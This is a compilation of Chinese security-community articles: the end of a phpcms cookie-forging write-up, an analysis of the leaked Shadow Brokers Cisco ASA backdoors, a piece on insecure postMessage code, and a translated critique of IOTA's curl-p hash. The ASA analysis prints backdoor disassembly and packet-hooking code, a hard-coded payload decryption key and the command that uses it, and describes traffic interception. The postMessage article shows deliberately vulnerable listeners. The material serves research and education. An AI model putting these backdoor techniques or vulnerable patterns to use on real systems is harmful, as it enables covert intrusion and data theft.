因为已经可以从数据库中获取session了，所以只要构造好对应的cookie参数对应的值便可以直接登录后台，当然前提是刚好获取到管理员正处在登录状态的session值，首先分析下cookie的生成过程：
>
> 1. 跟入`phpcms_v9.6.2_UTF8\phpcms\modules\admin\index.php:97-101`的
> set_cookie
> 方法，在`phpcms_v9.6.2_UTF8\phpcms\libs\classes\param.class.php`中找到该方法，该方法是使用
> sys_auth 对传入的数组的值，字符的值进行ENCODE操作 后，再使用 setcookie 下发到客户端。
>
>
> 1.
> 跟入`sys_auth`方法在`\phpcms_v9.6.2_UTF8\phpcms\libs\functions\global.func.php:384-430`发现代码块，这里在SQL注入的部分已经进行了分析。
>
>
因此利用任意文件读取获取到的 auth_key 构造cookie进行登录，登录的时候可以使用cookie manager
将构造好的cookie，添加的请求头部中，然后进行如下请求。
>
>
总的来说，还是通过SQL注入的方式，获取到了相关的凭证。
## 结尾
随着业务的发展，数据库里存储的敏感信息，不再只有账号密码，攻击面也随之增加，在对SQLi乃至整个web安全进行研究的时候，应当结合新的业务功能和需求，寻找新的攻击点，进行新的思考。 | 社区文章 |
# 揭开思科ASA防火墙网络军火的面纱（下）Shadow Brokers 泄露后门完整分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **360 MeshFire Team**
****](http://bobao.360.cn/member/contribute?uid=2758821769)
**预估稿费：700RMB（不服你也来投稿啊！）** ****
****投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**** ****
**传送门**
[**揭开思科ASA防火墙网络军火的面纱（上）** ****](http://bobao.360.cn/learning/detail/3053.html)
今年8月Shadow Brokers
曝出的EPICBANANA、JETPLOW、SCREAMPLOW等工具中包含了思科ASA系列防火墙漏洞利用和后门攻击代码，360
MeshFire团队针对ASA设备后门技术原理和植入方法进行了完整分析，并重点对研究了其内存型和持久化型后门，展示了网络基础设施的后门攻击原理与方法。
**0x01 背景**
今年8月， Shadow Brokers组织在其Twitter微博上公开了入侵NSA后获取的大量黑客工具，并将部分放在网上进行拍卖。根据Shadow
Brokers描述，这些工具原属于著名的黑客团队方程式组织（Equation
Group），思科的官方博客也在第一时间对该后门进行了简要分析，以下是思科官方博客给出漏洞和后门模块研究分析，360
MeshFire团队也第一时间对泄漏文件、0DAY漏洞和植入后门进行了深入研究和完整分析。
在该系列上一篇文章中我们主要针对EXTRABACON模块中Cisco
ASA防火墙SNMP远程代码执行的0DAY漏洞（CVE-2016-6366），对产生原因和利用原理进行了详细分析。详见链接：<http://bobao.360.cn/learning/detail/3053.html>
该漏洞实现了思科网络基础设施的破门并获取网络设备管理员权限，如何植入后门并实施更加隐蔽的后门攻击等攻击手段则是在EPICBANANA和JETPLOW的模块中实现，后门模块提供了更加复杂和隐蔽的攻击方法，我们将在该篇文章中详细分析ASA设备的后门原理和植入方法，并对后门连接作简单演示。
**0x02 Cisco ASA后门简介**
泄漏的文件中专门针对于Cisco
ASA防火墙的后门可分为内存型和持久化型。从我们的分析看，内存型后门被命名为BANALRIDE和BANANAGLEE（简称BG），其中BANALRIDE只提供基本的控制功能和一些原始设备操作的API，而BG相对于BANALRIDE的功能更加强大和复杂；持久化后门又分为JETPLOW和SCREAMPLOW，其中JETPLOW作为早期的持久化后门主要针对于PIX防火墙和部分ASA设备，而新版本的被称为SCREAMPLOW是JETPLOW的升级版。
在整个后门植入过程中，首先需要利用命令解析漏洞（CVE-2016-6367），漏洞利用的前提是攻击者能够成功登录设备，可用已知用户名和密码登录，也可以利用漏洞修改登录流程实现任意账户名密码直接登录（见第一篇文章）。
然后执行epicbanana__2.1.0.1.py
脚本通过ssh或telnet登录到ASA系统，并发送payload至console终端，该脚本将构造15个攻击载荷到console终端下触发命令行解析漏洞，通过内存溢出的方式将BANALRIDE后门写入到ASA内存中。
最后使用目录下的bride-1120连接工具连接到BANALRIDE后门，BANALRIDE后门连接后的截图如下：
可执行的操作包括获取系统版本，内存操作申请、释放、读取和查看内存等，此外还可以植入控制接口更全面的BG后门（选项30）。
持久化后门JETPLOW和SCREAMPLOW也需要借助BG进行上传植入。但遗憾的是在这次泄露的文件中并没有包含BG后门的真实载荷，莫非在Shadow
Broker拍卖转众筹文件里？即便没有BG载荷，我们通过加载错误的BG文件，还是可以显示后门主要功能，包括读配置信息、接口信息和ARP表信息，更全面的读写内存操作，更重要的是实现了模块化的加载持久后攻击后门。
**0x03 BANALRIDE后门分析**
因缺少BANANAGLEE后门载荷，也就无法成功植入持久化SCREAMPLOW后门，我们将重点对可实现完整连接的BANALRIDE后门载荷的运行原理进行动态分析，对持久化后门SCREAMPLOW只作静态分析。本文的调试环境基于Cisco
ASA 5505型号ASA设备，系统镜像版本为asa804-k8.bin。
**1\. 后门初始化**
当BANALRIDE初次植入，全部代码被分为14个片段离散分布在ASA网络处理主进程lina进程空间中。通过shellcode控制EIP跳转到第一处片段来执行初始化操作，此段代码块主要执行了两部分操作：
**（1）解密自身代码**
由于BANALRIDE代码经过加密后植入到lina进程中，所以在初始化代码起始处存在解密后续代码的过程：
0xddfeb316: mov $0xaaaaaa82,%eax
0xddfeb31b: xor $0xaaaaaaaa,%eax
0xddfeb320: mov $0xddfeb314,%edi
0xddfeb325: add %eax,%edi
0xddfeb327: mov $0xaaaaaa74,%ecx
0xddfeb32c: xor $0xaaaaaaaa,%ecx
0xddfeb332: mov (%edi),%bl
0xddfeb334: xor $0x9c,%bl
0xddfeb337: mov %bl,(%edi)
0xddfeb339: inc %edi
0xddfeb33a: loop 0xddfeb332
0xddfeb33c: and $0x41622d98,%eax
0xddfeb341: pop %ds
在地址0xddfeb332~0xddfeb33a的代码通过异或方式循环解密了从0xddfeb33c起始的代码，在第一处解密后的代码中还存在解密其它地址段的代码片段。
**（2）申请内存**
将其它分散在lina进程中的后门代码全部copy拼接到新申请的内存中。由于lina进程通过思科自实现的内存池方式来管理内存，而ASA系统中大部分内存的动态申请也是依赖于内存池机制。此后门并没有直接调用glibc中的内存申请函数，而是也复用了lina进程中内存池操作函数sub_89BCE60来申请内存，代码如下：
0xddfeb595: push $0x1550
0xddfeb59a: mov $0x89bce60,%eax
0xddfeb59f: call *%eax
0xddfeb5a1: mov %eax,%edi
在初始化代码中记录了所有分散的代码片段地址，如下所示：
MEMORY:DDFEB5AE mov dword ptr [ebp-3Ch], 0DDFEB734h
MEMORY:DDFEB5B9 mov dword ptr [ebp-38h], 0DDFEB944h
MEMORY:DDFEB5C0 mov dword ptr [ebp-34h], 0DDFEBB54h
MEMORY:DDFEB5C7 mov dword ptr [ebp-30h], 0DDFEBD64h
MEMORY:DDFEB5CE mov dword ptr [ebp-2Ch], 0DDFEBF74h
MEMORY:DDFEB5D5 mov dword ptr [ebp-28h], 0DDFEC184h
MEMORY:DDFEB5DC mov dword ptr [ebp-24h], 0DDFEC394h
MEMORY:DDFEB5E3 mov dword ptr [ebp-20h], 0DDFEC5A4h
MEMORY:DDFEB5EA mov dword ptr [ebp-1Ch], 0DDFEC7B4h
MEMORY:DDFEB5F1 mov dword ptr [ebp-18h], 0DDFEC9C4h
MEMORY:DDFEB5F8 mov dword ptr [ebp-14h], 0DDFECBD4h
**
**
**2\. 网络通讯**
ASA对所有网络报文的处理都是通过lina程序来驱动实现的，由于ASA底层Linux系统并不能识别ASA的硬件接口设备，因此无法在Linux系统层面完成网络数据层面的通信，也无法借助系统socket进行通信，只能复用lina进程空间中的网络通信函数。
**（1）网络接收函数劫持**
当后门程序完成初始化操作后会跳转到ASA系统正常程序流程，但后续为了能够接收攻击者连接指令，则还需开启网络接收功能，后门连接并未指定专用网络端口，因此必须监听所有端口上的数据流量，并从中筛选出连接指令。
在ASA系统主进程lina中，网络模块在处理数据报文时使用回调函数sub_8660C30来处理从物理网口接收到的每一个数据包。BANALRIDE可以通过劫持此函数，使正常的报文处理流程跳转到自身代码中，并从栈中取出报文地址，以达到劫持经过ASA网口所有流量的目的。实现HOOK网络接收程序代码如下：
0xddfeb645: mov $0x916bbb0,%ebx
……
0xddfeb678: push $0xa
0xddfeb67a: push %eax
0xddfeb67b: push $0x807bef1
0xddfeb680: call *%ebx
0xddfeb682: push $0xe
0xddfeb684: lea -0x4c(%ebp),%eax
0xddfeb687: push %eax
0xddfeb688: push $0x80612c1
0xddfeb68d: call *%ebx
0xddfeb68f: movb $0xe9,
0x8660c93
0xddfeb696: mov $0x1,%eax
0xddfeb69b: movl $0xffa00629,0x8660c94
其中0x916bbb0是ASA系统内存copy函数，将第二个参数指向地址copy到第一个参数指向内存中，长度由第三个参数控制。lina进程空间中代码段改动前后对比如下图所示：
BANALRIDE后门植入到内存中时修改sub_8660C30函数中0x08660C93地址处代码，使程序流程跳出当前函数。在地址0x80612c1处写入了进入后门代码区的跳转指令，其中0xC5514B68就是存放后门代码的地址，这个地址是变化的，由初始化阶段动态申请。最后在0x807bef1处写入了当BANALRIDE代码执行结束后返回sub_8660C30函数正常流程的跳转指令，整个跳转流程如下图：
在这个流程图中可以看到，其实BANALRIDE后门在内存中每次运行的生命周期为从接收到一个网络报文起，到处理这个报文结束为止。
**（2）网络发送函数：**
从代码中可看到BANALRIDE向控制端发送网络报文时复用lina函数的过程，首先调用sub_89BD690函数创建一个描述数据报文的结构变量，大小为0x60E（1550）字节，代码如下：
MEMORY:C551524E push 60Eh
MEMORY:C5515253 mov [ebp+var_10], eax
MEMORY:C5515256 mov eax, 89BD690h
MEMORY:C551525B movzx edi, [ebp+arg_14]
MEMORY:C551525F call eax
对sub_89BD690返回数据的结构进行分析结果如下：
struct struc_send_pkt
{
char unknow_str1[30];
char mac_src[6];
char mac_dst[6];
_WORD type;
char vlan_tag[4];
char *p_ip_packet;
char *p_Buff;
char unknow_str2[4];
struc_send_udp_info *p_send_udp_info;
char unknow_str3[728];
char ip_header[20];
char udp_header[8];
};
可以看到此结构体中包含了发送数据包二层及三层报文头部各字段的详细信息，虽然sub_89BD690函数申请了1550字节长度的内存空间，但这个结构体只规定了此段内存前820字节长度的数据格式，之后剩余部分填充为程序自定义的载荷数据，因此对sub_89BD690函数传参不能小于820字节。
ASA系统中对于发送报文的函数封装并不如在Linux系统中的系统调用简单明了，考虑到在struc_send_pkt结构中还需要填充二层网络目的地址，因此需要在ASA路由表中查找出报文的下一跳地址：
MEMORY:C55151BA push esi ;buffer
MEMORY:C55151BB mov eax, 8778AF0h ;route_table_lookup
MEMORY:C55151C0 push [ebp+arg_8] ;dst ip
MEMORY:C55151C3 call eax
sub_8778AF0函数查找出第一个参数指向的目的IP地址的下一跳IP，并将结果存放在第二个参数指向的地址中，返回结果是一个结构体，从起始偏移16字节为下一跳的IP，随后使用sub_84C0200函数在ARP表中查找出下一跳IP相应的MAC地址，再调用sub_84BE670函数将查询出的地址填充到struct_send_pkt中：
MEMORY:C55151CB push edi
MEMORY:C55151CC mov eax, 84C0200h
MEMORY:C55151D1 push dword ptr [esi+10h]
MEMORY:C55151D4 call eax
最后将构造好的struc_send_pkt结构变量传递给sub_863FE50函数来构造完整的网络报文并添加到发送队列中：
MEMORY:C55151F6 mov eax, [edx+4]
MEMORY:C55151F9 push [ebp+arg_0] ;struc_send_pkt
MEMORY:C55151FC push eax
MEMORY:C55151FD call dword ptr [eax+0Ch] ; 0x863FE50
**（ 3）传输通信加密**
BANALRIDE与控制端网络通讯时，在建立session阶段先使用Diffie-Hellman算法协商密钥，在此后的通讯中，所有数据都使用此密钥进行AES算法加密。当接收到控制指令时，会先判断有无session，代码如下：
MEMORY:C551570E mov edi, offset 0xC55CFC34
MEMORY:C5515714 lea eax, [esi+14h] ; UDP报文指针
MEMORY:C5515717 mov [ebp+var_10], eax
MEMORY:C551571A mov eax, [edi]
MEMORY:C551571C cmp byte ptr [eax], 0 ; 判断session
MEMORY:C551571F jz short loc_C551576F
若已存在session则会再判断与之前建立的session的连接四元组信息，若session尚未建立先判断接收payload第一个字符也就是控制指令是否为A8，表明是否建立新的session，代码如下：
MEMORY:C551576F mov edx, [ebp+var_10]
MEMORY:C5515772 lea edi, [esi+1Ch]
MEMORY:C5515775 movzx eax, word ptr [edx+4]
MEMORY:C5515779 movzx ecx, al
MEMORY:C551577C shl ecx, 8
MEMORY:C551577F shr eax, 8
MEMORY:C5515782 or ecx, eax
MEMORY:C5515784 lea eax, [ecx-8]
MEMORY:C5515787 mov [ebp+var_14], eax ; payload长度
MEMORY:C551578A cmp byte ptr [esi+1Ch], 0A8h ; 判断控制指令是否是0xA8
BANALRIDE会对接收到的payload进行完整性校验，具体方式通过计算比对payload最后两字节的校验和，验证通过后再计算加密密钥返回给控制端：
MEMORY:C55157A4 call sub_C55156C0 ; a1:payload地址 a2:payload长度
MEMORY:C55157A9 pop ecx
MEMORY:C55157AA pop edx
MEMORY:C55157AB xor edx, edx
MEMORY:C55157AD test al, al
MEMORY:C55157AF jz short loc_C55157CB
MEMORY:C55157B1 push esi
MEMORY:C55157B2 push edi
MEMORY:C55157B3 call sub_C551581D ;
计算校验和处理流程见下图：
**0x04 SCREAMPLOW持久化后门分析**
第二节中我们介绍到SCREAMPLOW 作为持久化后门实际上是JETPLOW
升级版，后门程序在BANANAGLEEBG3121InstallLP目录下，先通过BPICKER-3100工具连接BG内存后门UDP500端口后，加载相关载荷模块植入到目标设备中，BPICKER-3100是writeScreamingPlow和writeJetPlow新版本，SCREAMPLOW种植持成功后也可使用lp工具对目标进行后续的连接和管理。
当BPICKER-3100与目标建立连接成功后，会收到目标返回的ASA系统和后门版本信息，然后在当前目录下搜索名称基于<platform_name>-moduledata-<bg_version>.tgz格式的文件，但目前泄露出的文件中只包含了唯一的版本：asa-moduledata-3101.tgz。此文件中包含了种植SCREAMPLOW所需的载荷以及配置文件等。
对BPICKER-3100进行静态代码分析发现，在植入过程中，会对asa-moduledata-3101.tgz文件中asa目录下的pif文件进行解密，其解密密钥通过硬编码方式写入在BPICKER-3100程序中，存储过程仅简单做了一次异或加密，获取密钥的相关代码如下：
v2 = malloc(0x1Du);
v3 = v2;
v4 = v2 == 0;
v5 = "Couldn't malloc for key_data_copy.";
if ( v4 )
goto LABEL_6;
*v3 = 0xC28AD3C7;
v3[1] = 0xD8CFDCC5;
v3[2] = 0xCCCBD8C9;
v3[3] = 0xD9C38ADE;
v3[4] = 0xC6DFCC8A;
v3[5] = 0xCCC58AC6;
v3[6] = 0xC6CFCF8A;
*((_BYTE *)v3 + 28) = -39;
v6 = 0;
do
*((_BYTE *)v3 + v6++) ^= 0xAAu;
while ( v6 <= 28 );
解密后的明文密钥为：my hovercraft is full of eels。随后对于所有pif文件进行解密，命令如下：
find . -iname "*.pif" -type f -print -exec sh -c 'openssl base64 -d -in {} | openssl aes-128-cbc -d -nosalt -md md5 -k "my hovercraft is full of eels" > {}.xml' ;
解密后的pif文件部分内容如下：
<?xml version="1.0" encoding="iso-8859-1"?>
<platform xsi:noNamespaceSchemaLocation="versionFile.xsd"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
lib="libasa.so">
<name>asa5505</name>
<version>
<name>1.0(12)6 (no persistence detected)</name>
<originalBios>bin/asa5505/asa5505_10126_bios_sectors1-E_clean.bin</originalBios>
<patchList><!-- Install SCP -->
<patch>
<data src="inline" type="userarea">0</data> <!-- Assigned later -->
<address>fff70000</address> <!-- SECOND_USER_AREA_ADDRESS -->
</patch>
<patch>
<data src="file">bin/asa5505/SCP28/asa5505_patch60000.bin</data>
<address>fff60000</address> <!-- FIRST_CODE_AREA_ADDRESS -->
</patch>
<patch>
<data src="inline" type="pbd">0</data> <!-- Assigned later -->
<address>fff6df00</address> <!-- FIRST_USER_AREA_ADDRESS -->
</patch>
<patch>
<data src="file">bin/asa5505/SCP28/asa5505_patchEC480.bin</data>
<address>fffec480</address> <!-- SECOND_CODE_AREA_ADDRESS -->
</patch>
<patch>
<data src="file">bin/asa5505/SCP28/asa5505_patchE18BF.bin</data>
<address>fffe18bf</address> <!-- HOOK_ADDRESS -->
</patch>
</patchList>
</version>
</platform>
此XML文件描述了SCREAMPLOW后门感染目标ROMMON版本为1.0(12)6的Cisco ASA
5505型号设备，而感染前的原始BIOS镜像文件存放在bin/asa5505/asa5505_10126_bios_sectors1-E_clean.bin，通过此XML文件可大致了解后门植入ASA
的BIOS内存中的代码区域，如下图所示：
SCREAMPLOW后门通过感染BIOS进程空间实现持久化，由于Cisco
ASA设备在执行reload命令后内存中的BIOS代码并没有重新从文件中载入，因此通过reload重启的方式并无法彻底清除此后门。
**0x05 通过BANALRIDE实现监听流量后门**
对于网络设备后门攻击来说，实现流量监听和重定向是十分重要的环节，其中BANANAGLEE作为最核心的后门模块提供相关功能接口，但由于BANANAGLEE载荷缺失，并不能对其进行实际研究测试，但我们发现当前泄漏出来的BANALRIDE后门已经具备了BG的大部分网络后门功能，可以理解其是一个内存小马，BG是一个内存大马，若适当修改BANALRIDE中的部分代码实现完整的流量监听和重定向功能，便实现后门攻击的核心功能，以下示例中我们重现了通过BANALRIDE实现对HTTP报文的流量监听并将其重定向输出到设备文件中。
由于BANALRIDE后门劫持了ASA设备底层网络的所有流量，因此完全可以设置过滤规则并从中筛选出感兴趣数据，例如可以监听流经ASA物理网口上所有HTTP报文，并通过文件输出函数sub_8074498将报文输出到文本中，结果如下图所示：
可以充分发挥想象力，配合上一节所提到的lina中数据包发送功能函数将己截获的数据流量镜像发送到攻击者指定的IP上去，即实现流量重定向功能。
360MeshFire团队ASA设备后门Demo演示：
**0x06结论**
针对此次对Cisco
ASA防火墙后门的深入分析，可以看出针对网络基础设施的攻击程序已经达到了相对较高的工程化实现，并实现了全平台多版本的适配，从研发和植入成本看需要具备相对较高的技术门槛。
1．ASA系统底层是Linux系统，但是无法通过传统Linux系统方式进行渗透。ASA设备网络通信使用的数据通信接口都是由lina进程驱动的，对所有网络报文的处理也通过lina程序来实现，底层Linux系统并不能识别ASA数据平面的网络接口，因此在整个后门代码中无法使用任何Linux系统调用包括socket程序来实现后门的核心网络功能，后门所有行为，包括加解密、内存管理、网络通讯等，都是复用了ASA主进程lina中函数指针。BANALRIDE通过劫持监听ASA系统中所有流量并从中过滤出控制命令。
2．通过对代码中调用函数进行分析，可以推测出后门研发组织对于ASA系统以及内部函数调用功能非常熟悉。我们发现在IDA中逆向的ASA系统中总包含近有四万个函数，且每个版本系统的函数地址都存在差异性，若仅通过逆向的方式来从中获取攻击过程中所需函数其工作量是巨大的，不排除后门研发组织对于ASA系统有更为充分的技术资料支持其研发。
3．ASA设备植入的后门具备非常高的隐蔽性。首先，该后门植入并没有在网络设备上开放任何TCP或UDP的网络监听端口，完全依靠ASA底层的网络接收函数来监听所有物理端口上的通信流量，并过滤出连接指令，无法通过网络探测的方式进行后门发现。此外，后门连接采用自定义网络协议，采用D-H算法协商密钥验证后才允许连接，通讯的过程也采用协商的密钥进行了加密，难以通过传统IDS或IPS检测攻击。因此，如果想准确的检测后门，必须按照后门通信协议构造网络数据包并获取真实后门的反馈才能够实现后门的探测。
4．ASA设备植入的后门的具备工程化和专业化。从泄露的文件目录看，后门研发组织对于网络基础设备拥有全平台的适配能力和模块化后门加载能力，整个后门攻击程序可以作为网络基础设施攻击框架，只需要挖掘到新的0DAY漏洞就可以方便的扩展沿用现有的攻击载荷，文件中包含多个针对网络设备的后门程序，这些程序拥有Rootkit能力，且具备加密和抗分析能力。尤其当攻击目标定向为不便重启和升级的基础网络设施时，其持久化后门即使升级后仍可能无法彻底清除，这对于安全防御和检测方是很大的挑战，针对网络设备固件完整性校验、网络设备内存完整性校验、以及固件的供应链安全将显得越发重要。
**传送门**
* * *
[**揭开思科ASA防火墙网络军火的面纱（上）** ****](http://bobao.360.cn/learning/detail/3053.html) | 社区文章 |
**前言：**
postMessage是HTML5衍生出来的，用来规范跨域的问题。但由于使用者不注意一些安全性，可能会产生一些漏洞，这篇文章介绍可能产生的问题。
**目录：**
**0x01：如何工作**
**0x02：可能的三个漏洞**
**0x03：正确代码**
**如何工作**
为了跨域去发送一些数据，应用会用如下的语句去发送
targetWindow.postMessage(data, "*");
data为数据，"*"为接收端
-
为了去接受一些数据，接收端会添加一个事件监听器用来接受跨域传输过来的数据
window.addEventListener("message", function(message){console.log(message.data)});
## -
-
**可能的三个问题**
**Issue One:**
targetWindow.postMessage(data, "*");
如上代码，第一个问题就产生在这里，当postMessage的第二个参数为"*"时，也就意味着数据可以被跨域传送到任何地方，如果这个数据为个人数据或者其他隐私呢？结果显而易见。
## -
**Issue Two:**
//Listener on
window.addEventListener("message", function(message){
if(/^http://www.bywalks.com$/.test(message.origin)){
console.log(message.data);
}});
如上代码，这是产生在接收端的问题。上面的代码通过正则来规范传输端，这里我们要着重关注"."，你看出问题了么？origin可以是<http://www.bywalks.com>
同时也可以是<http://wwwabywalks.com>
因为在正则里面，"."匹配\r之外的任意单字符。
## -
**Issue Three:**
//Listener on
window.addEventListener("message", function(message){
if(/^http://www\.bywalks\.com$/.test(message.origin)){
document.getElementById("message").innerHTML = message.data;
}});
这是一个基于DOM的XSS，如上代码，id=message的事件文本内容为跨域传送来的data，这里规范了origin为<http://www.bywalks.com>
那么是否我们可以在<http://www.bywalks.com>（传输端）上面找到一个XSS漏洞，也就意味着在接收端找到一个XSS漏洞呢？要知道，在网站上载入第三方JS是一个很常见的事。
**正确代码**
var data = JSON.parse(decodeURIComponent(document.getElementById('data').value));
// cross browser origin determination
var origin = (window.location.protocol + '//' + window.location.hostname
+ (window.location.port ? ':' + window.location.port : ''));
if (window.opener) {
window.opener.postMessage(data, origin);
} else {
// attempt to redirect back to the origin
window.location = origin;
}
如上代码，这里就规范了origin，避免产生把data发送到其他网站的信息泄露事件
与此同时，接收端也应该做出限制。 | 社区文章 |
**原文：<https://medium.com/@noahruderman/a-summary-of-why-iotas-refutation-of-a-vulnerability-by-dci-labs-is-absurd-128e894781b1>**
**作者：Noah Ruderman**
**译者：知道创宇404实验室**
DCI实验室发布报告称，他们发现了针对IOTA交易签名方案中存在性不可伪造（[EU-CMA](https://www.cs.tau.ac.il/~canetti/f08-materials/scribe8.pdf "EU-CMA")）的安全问题，允许攻击者窃取资金。
而对于密码学来说，这个漏洞正是密码学安全研究的向量。如果你不同意这一点，你就是在反对密码学。
### 1\. 前言
争议开始于由麻省理工学院旗下的DCI实验室撰写的[漏洞报告](https://github.com/mit-dci/tangled-curl/blob/master/vuln-iota.md
"漏洞报告")。IOTA开发人员否认密码学和互联网安全对漏洞的定义，指控DCI实验室学术欺诈，并骚扰DCI的安全研究员伊森·海尔曼，威胁说要对这份不利的漏洞报告采取法律行动。
尽管DCI声称的漏洞在每一位加密专家、安全研究人员和主要加密货币开发人员看来都是正确的，但这很难令常人所理解。在这基础上，[IOTA强烈反对curl-p易受攻击的观点](https://blog.iota.org/official-iota-foundation-response-to-the-digital-currency-initiative-at-the-mit-media-lab-part-1-72434583a2
"IOTA强烈反对curl-p易受攻击的观点")，并发布了[相关文章](https://medium.com/@iotasuppoter/iota-what-the-dci-emails-reveal-dec41e8a9ea "相关文章")。
本篇文章的目的：
（a） 向几乎没有密码学知识的人解释该漏洞的性质；
（b） 为什么IOTA的反驳并不能说服密码学专家和安全研究人员；
（c） 如何论证哈希函数的安全性。
### 2\. DCI实验室声明的摘要
DCI实验室表示，用于保护交易安全的数字签名方案不符合EU-CMA的安全概念。该数字签名方案的安全性之所以能被打破，是因为所使用的哈希函数curl-p没有抗碰撞的属性。
### 3\. 什么是curl-p？
Curl-p是一个哈希函数。哈希函数将任意长度的数据转换为固定长度的输出。你可以将这些输出看作数字指纹。哈希函数旨在满足以下主要特性：
* 确定性：给定相同的输入，获取的哈希值始终相同。
* 一致性：预期的输入应尽可能一致地映射到输出范围。
* 不可逆性：给定哈希值，应该很难找到相应的输入。但“非常困难”的定义很宽泛，因为它取决于许多外部因素，比如随着时间推移而变化的技术，但专家们对此没有争议。在普通硬件上计算冲突是不可能的，并且对于安全的哈希函数来说，任何人都很难找到冲突。如果政府能够找到冲突，那么哈希函数就不会被认为是安全的。
curl-p的目的是使哈希函数表现出高度随机的行为，它使我们将哈希值视为唯一的且防篡改的。
### 4\. curl-p的作用是什么？
Curl-p是由Sergey Ivancheglo编写的自定义哈希函数，他也被称为Come-from-Beyond。它是数字签名方案的一部分，用于确保交易的身份验证的完整性。在消息上构造数字签名的过程包括将数据哈希并用私钥加密哈希值。这是加密货币的标准做法。详细解释如下：
* 身份验证：证明消息是由公钥所有者创建的。如果消息未经过哈希处理，则签名会更长，则需要更多时间进行验证。
* 完整性：防止消息在创建后被篡改，同时仍然在数字签名下进行验证。
数字签名是通过用公钥解密签名并将交易数据哈希来进行验证的。如果未加密签名和相应的哈希值相同，则认为数字签名有效。
然而，预期中的数字签名要求哈希函数表现出高度的随机行为。如果curl-p表现出足够的非随机行为，攻击者就可以构造一个没有私钥签名但具有相同签名的消息，因为消息的哈希值是相同的。这意味着数字签名方案被破坏，攻击者可能会伪造交易来窃取资金，因此交易的数字签名（扩展为curl-p）在软件生产中具有关键的安全作用。
### 5\. curl-p必须满足哪些安全属性才能防止攻击？
我们可以简单的把这个问题归结为冲突，即两则不同的消息可以用curl-p哈希得到相同值的频率。如果两则消息哈希值相同，那么签名将是相同的，如果攻击者的消息是有效的交易，这意味着可能有人通过使用前一个交易的签名来使用你的Iota币。任何curl-p的冲突都会对数字签名方案发起攻击，因此curl-p应该具有最强的安全性。
用于满足最严格的安全属性的哈希函数被称为加密哈希函数。这些安全属性包括：
* 抗碰撞性：攻击者应该无法找到两则消息m1和m2使得hash(m1) = hash(m2)。
* 抗原像攻击：如果提供哈希值h，攻击者应该无法找到消息m使得m = hash(h)。
* 抗第二原像攻击：如果提供消息m1，攻击者应该无法找到消息m2，使得hash（m1）= hash（m2），m1！= m2。
### 6\. curl-p是加密哈希函数吗？
IOTA开发人员一直含糊其辞，但更频繁地声称curl-p并非旨在成为加密哈希函数。他们反驳了DCI实验室关于漏洞的说法，因为他们认为在curl-p中不需要抗碰撞性。换句话说，他们不能因为curl-p是一个不安全的哈希函数而被指责，因为它从来没有打算保证curl-p是安全的。
然而，curl-p在确保使用拥有超过10亿美元生产系统的安全方面发挥了关键作用。curl-p的充分非随机行为可能使资金被盗。除非允许资金窃取是curl-p的预期功能，否则其应该被设计为满足我概述的最严格的安全属性，这将使其成为加密哈希函数。如果按照IOTA开发人员所说，curl-p并不是一个加密哈希函数，那么这就是一个重大的设计缺陷。
因此，IOTA开发人员要么为其极其糟糕的设计负责，要么认为他们自己构建了一个安全的哈希函数，因为他们无法找到破解它的方法。两者都表现出极差的判断力，第一种是健忘，第二种是对其安全性过于自信。
### 7\. 是否存在漏洞？
存在。DCI实验室发现curl-p并不具有抗碰撞性，他们展示了两则消息的真实例子，这两则消息被网络视为有效交易，但是哈希到相同的值。他们通过利用curl-p中的非随机行为来改变消息中的一些位以生成哈希值相同的新值。这些位就是交易金额。因此，如果你向某人发送了一些Iota币，那么你可以通过修改交易来发送不同的金额。
DCI实验室还展示了理论上的攻击是如何通过破坏抗碰撞性来实现的。你可以构造两项哈希值相同的交易来发送Alice的Iota币，然后让Alice签署第一项交易，然后用这个签名发送第二项交易。
正如密码学专家、安全研究人员等普遍理解的那样，漏洞确实存在，原因如下：商用硬件上的curl-p上发生了碰撞；curl-p中被打破的抗碰撞性是用来自同一地址的事务来表示的；使用curl-p来哈希交易数据意味着用户资金可能被盗；加密哈希函数不可能实现这一点……
但如果我认为这次攻击没有那么严重呢？
“安全”（secure）一词用于哈希函数，“漏洞”（vulnerability）一词用于软件，它们都有明确的定义，这些定义独立于任何人对这些攻击破坏力的感受。密码学对数字签名方案的安全性有严格的定义，且数字签名方案的安全性也与个人感受无关。因此，我们完全可以说curl-p是不安全的，并且其存在一个漏洞，但攻击并没有那么严重。因为攻击没有那么严重，所以不存在漏洞这种说法是不正确的。
### 8\. 为什么要考虑标准的EU-CMA而不是实际的攻击呢？
没有受过软件工程或密码学培训的人最常犯的一个错误是，EU-CMA攻击是一个抽象的游戏，不能很好地转化为实际的结果。毕竟，IOTA的协调员可能自己做了一些验证，这肯定会影响概述的攻击的可行性，而这并不是EU-CMA模拟的一部分。当然也有一些外部组件对攻击很重要——不建议重用地址。让我们先把明显的细节放在一边，即协调器是一个临时措施，而且它是闭源的——这意味着没有人知道它到底做了什么。
如果关于系统安全性的评判标准是“能否在生产系统中演示实际的攻击”，那么在实际部署这些演示时，会出现一些明显的问题。首先，黑客攻击计算机系统是违法的。其次是关于安全漏洞的微妙本质——你真的认为等到商用硬件上的SHA-1被破坏后再将其用于关键的互联网基础设施是一个好主意吗？还有一个事实是，闭源代码是不能进行公开访问的——你认为我们应该忽略那些闭源系统的安全性吗？这样的例子不胜枚举。
如何解释安全性的标准，你可以将其视为最佳实践。最佳实践就像专家的常识一样，因为同样的错误往往会重复出现——比如创建自定义的哈希函数。EU-CMA攻击包含了我们期望从构建了安全方面的最佳实践的系统中看到的行为。也就是说，如果你实现了EU-CMA关于数字签名安全的概念，那么你就知道存在某些安全保证，甚至不需要为系统的各个部分创建巨大的流程图。从另一个角度来看，如果你系统的安全性依靠外部验证来维护被破坏的协议的完整性，那么你就会有一个过于草率、复杂的系统，它很容易出现安全漏洞。
Sergey说EU-CMA对数字签名不重要，因为他的系统会做额外的验证，这就像在说：
* 你不用担心把所有的硬币都放在一个热钱包里，因为没有人知道这台电脑在哪里以及它的密码。
* 你不必用VPN来向政府隐藏你的IP，因为他们的隐私政策说他们不保存日志。
* 你无需为重复使用密码而担心，因为密码的安全性很高。
